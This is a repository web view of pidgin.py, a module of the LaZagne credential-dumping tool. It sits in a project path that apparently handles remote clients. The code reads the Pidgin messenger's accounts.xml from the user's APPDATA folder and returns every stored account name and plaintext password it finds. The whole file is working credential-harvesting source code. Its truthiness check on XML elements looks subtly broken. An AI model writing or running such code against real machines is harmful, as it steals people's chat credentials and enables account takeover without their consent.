summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/chats/pidgin.py
blob: 072a76d44e1968dffd83262c939c013314c5084f (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*- 
import os
from xml.etree.cElementTree import ElementTree

from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.module_info import ModuleInfo


class Pidgin(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'pidgin', 'chats')

    def run(self):
        path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
        if os.path.exists(path):
            tree = ElementTree(file=path)
            root = tree.getroot()
            pwd_found = []

            for account in root.findall('account'):
                name = account.find('name')
                password = account.find('password')
                if all((name, password)):
                    pwd_found.append({
                        'Login': name.text,
                        'Password': password.text
                    })
            return pwd_found